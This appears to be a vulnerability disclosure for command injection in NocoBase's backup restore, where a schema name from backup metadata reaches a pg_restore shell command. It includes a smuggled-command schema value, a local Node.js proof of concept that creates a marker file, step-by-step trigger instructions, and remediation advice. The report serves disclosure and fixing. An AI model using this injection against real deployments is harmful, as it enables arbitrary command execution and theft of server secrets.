NocoBase backup restore schema name allows command injection

A schema value such as safe; touch /tmp/nocobase-cve-marker # produces a restore command of this form:

pg_restore -U u -h localhost -p 5432 -n safe; touch /tmp/nocobase-cve-marker # -d db --clean --if-exists --no-owner -j 1 /tmp/backup-data

The semicolon terminates the intended pg_restore command and starts a new shell command.

False-positive screening:

• This report does not claim unauthenticated exploitation. The route is gated by backup-management permissions through the registered ACL snippet.
• The older backups.upload resource path was reviewed and does not pass forceSchemaRestore; the directly confirmed force path is the backup.restoreUpload / backup-CLI API path (packages/plugins/@nocobase/plugin-backups/src/server/resourcers/backups.ts:54-77, packages/plugins/@nocobase/plugin-backups/src/server/resourcers/backup-cli.ts:200-211).
• The schema mismatch check blocks mismatched metadata by default, but it is deliberately bypassed for PostgreSQL when the supported force option is true.
• The command injection is in the shell command itself before any PostgreSQL connection or valid backup file is required; the safe PoC proves shell metacharacter execution locally without connecting to a database.
• The finding is not based on existing reports or generated writeups.

PoC

The following local-only PoC renders the same vulnerable pg_restore command shape built by PostgresAdapter.restore() and executes it through Node.js child_process.exec(), the sink used by the plugin. It uses a harmless marker file under /tmp, does not contact external services, and cleans up after itself.

From a clean checkout of the tested commit:

cd nocobase
rm -f /tmp/nocobase-cve-marker
node - <<'NODE'
const { exec } = require('child_process');

const schemaFromBackupMetadata = 'safe; touch /tmp/nocobase-cve-marker #';
const command = `pg_restore -U u -h localhost -p 5432 -n ${schemaFromBackupMetadata} -d db --clean --if-exists --no-owner -j 1 /tmp/backup-data`;

exec(command, () => {
  const fs = require('fs');
  console.log(fs.existsSync('/tmp/nocobase-cve-marker') ? 'marker-created' : 'marker-missing');
  fs.rmSync('/tmp/nocobase-cve-marker', { force: true });
});
NODE

Observed output in this environment:

marker-created

Expected vulnerable output: marker-created, proving the schema value starts a second shell command.

Negative/control case: replace schemaFromBackupMetadata with safe_schema; the same harness should print marker-missing because no shell metacharacter starts the touch command.

Maintainer-runnable application-level trigger:

1. Run NocoBase 2.0.57 with PostgreSQL and the built-in @nocobase/plugin-backups enabled.
2. Use a role granted the backup-management snippet/actions (backups:* / backup:*).
3. Create a NocoBase backup archive containing a data member and _metadata.json with matching dialect/table settings but database.schema set to safe; touch /tmp/nocobase-cve-marker #.
4. Restore the uploaded backup through the backup restore-upload path with force=true so PostgreSQL schema mismatch is allowed.
5. Vulnerable behavior: /tmp/nocobase-cve-marker exists on the server after restore begins, even if pg_restore or database connection later fails.
6. Cleanup: remove /tmp/nocobase-cve-marker and discard the test database/container.

Impact

A user with backup restore privileges can execute arbitrary shell commands as the NocoBase server OS user. In a typical server or container deployment, this can read application configuration and environment secrets, modify application files or database backups, run network clients from the server, and disrupt service availability.

The required application privilege is high because backup restore is an administrative operation. However, backup-management permission is still an application-level role boundary; it should not imply arbitrary operating-system command execution.

Suggested remediation

Do not execute database tools through shell-interpreted command strings. Use spawn() or execFile() with an argument array for pg_restore, psql, pg_dump, mysql, and related tools. Validate PostgreSQL schema identifiers from backup metadata against PostgreSQL identifier rules or quote them using the database driver's identifier-quoting facilities before using them in SQL.

For this specific path:

• Pass pg_restore arguments as an array, for example ['-U', username, '-h', host, '-p', String(port), '-n', srcSchema, '-d', database, ...].
• Reject schema names containing shell metacharacters, quotes, whitespace, comments, or characters outside accepted PostgreSQL identifier syntax unless they are safely handled as identifiers.
• Replace dynamic SQL string interpolation in #restoreSchema() with identifier-safe quoting (format('%I', ...) in PostgreSQL or equivalent server-side parameters) and string-literal escaping where literals are required.
• Add regression tests that restore a backup whose metadata schema contains ; touch /tmp/should-not-exist # and assert no marker file is created and the request is rejected.